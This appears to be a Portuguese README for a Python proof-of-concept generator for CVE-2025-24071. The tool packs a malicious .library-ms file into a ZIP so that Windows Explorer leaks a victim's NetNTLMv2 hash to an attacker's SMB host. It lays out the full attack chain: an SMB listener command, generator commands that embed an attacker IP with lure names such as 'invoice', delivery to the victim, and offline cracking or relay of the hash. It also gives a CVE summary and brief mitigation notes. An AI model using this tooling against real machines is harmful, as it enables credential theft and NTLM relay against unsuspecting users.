
Gerador de PoC em Python sem dependências para CVE-2025-24071 que cria um arquivo .library-ms malicioso em um ZIP para acionar a divulgação de hash NTLM do Windows Explorer.
⚠️ Aviso Legal: Esta ferramenta destina-se apenas a fins educacionais e a testes de penetração autorizados. Utilize-a apenas contra sistemas que possui ou para os quais tem permissão escrita explícita para testar. O uso não autorizado é ilegal.
O Windows File Explorer analisa automaticamente determinados tipos de ficheiro assim que estes aparecem numa vista de pasta, sem qualquer interação do utilizador, como um duplo clique. As versões afetadas não validam corretamente os ficheiros .library-ms, que podem definir um conector de pesquisa apontando para um caminho SMB remoto arbitrário.
Quando o Explorer apresenta uma pasta que contém um ficheiro .library-ms malicioso (por exemplo, logo após extrair um arquivo ZIP/RAR), este tenta silenciosamente ligar-se ao caminho UNC controlado pelo atacante para resolver a localização da "biblioteca". Esta tentativa de ligação SMB transporta o hash NetNTLMv2 da vítima, que um atacante a capturar tráfego no host especificado (por exemplo, com impacket-smbserver ou Responder) pode depois tentar quebrar offline ou relayar.
Este repositório contém uma reescrita mínima e sem dependências de um gerador de PoC público para esta vulnerabilidade: constrói o ficheiro .library-ms malicioso e empacota-o num ZIP, utilizando apenas a biblioteca padrão do Python.
Um ficheiro .library-ms é um documento XML que indica ao Windows Explorer para apresentar o conteúdo de uma localização remota ou local como uma "biblioteca". O seu elemento <simpleLocation><url> pode apontar para um caminho UNC (\\<host>\<share>).
Nas versões afetadas, o Explorer resolve esta localização assim que a pasta é apresentada — não é necessário um duplo clique ou uma ação explícita para além de ter o ficheiro visível numa vista de pasta (por exemplo, logo após extrair um arquivo que o contenha).
impacket-smbserver, Responder, etc.)..library-ms malicioso, apontando para \\<attacker_ip>\<share>.1. Start an SMB listener on the attacker machine
2. Generate a .library-ms file pointing to \\<attacker_ip>\<share>
3. Package it into a ZIP archive
4. Deliver the ZIP to the victim (upload feature, email, share, etc.)
5. Victim extracts the ZIP and Explorer renders the folder
6. Explorer resolves the UNC path -> SMB auth attempt -> NetNTLMv2 hash captured
7. Crack the hash offline (hashcat -m 5600) or relay it
os, sys, argparse, zipfile)Não são necessárias dependências de terceiros para gerar o payload. A captura do hash requer um listener SMB como o Impacket (impacket-smbserver) ou o Responder do lado do atacante.
git clone https://github.com/BardLaudian/CVE-2025-24071.git
cd CVE-2025-24071
usage: cve_2025_24071.py [-h] [-n NAME] [-i IP] [-s SHARE] [-o OUTDIR] [-a]
options:
-n NAME, --name NAME Output base filename (no extension)
-i IP, --ip IP Attacker IP to embed as the UNC path target
-s SHARE, --share SHARE Share name (default: shared)
-o OUTDIR, --outdir OUTDIR Output directory (default: current dir)
-a, --affected-versions Print the list of affected Windows versions and exit
python3 cve_2025_24071.py -n invoice -i 10.10.14.5
Isto produz invoice.zip, contendo invoice.library-ms a apontar para \\10.10.14.5\shared.
impacket-smbserver shared /tmp/smbshare -smb2support
python3 cve_2025_24071.py -n report -i 10.10.14.5 -s data -o ./payloads
python3 cve_2025_24071.py -a
.library-ms e tipos de ficheiro semelhantes analisados automaticamente antes de chegarem às estações de trabalho dos utilizadores finais..library-ms, sem nova técnica de exploração| Campo | Valor |
|---|
| CVE | CVE-2025-24071 |
| Afetado | Windows 10 (1607–22H2), Windows 11 (22H2–24H2), Windows Server 2012 R2 – 2025 |
| Tipo | Exposição de Informação Sensível a um Ator Não Autorizado (CWE-200) |
| Privilégios | Nenhum (atacante não autenticado; requer que a vítima visualize/extraia o ficheiro) |
| Impacto | Divulgação de hash NetNTLMv2 → quebra offline ou relay NTLM |
| CVSS | 7.5 Alto (segundo o GitHub Advisory Database) / 6.5 (base MSRC) |
| Correção | Atualizações cumulativas do Patch Tuesday de março de 2025 |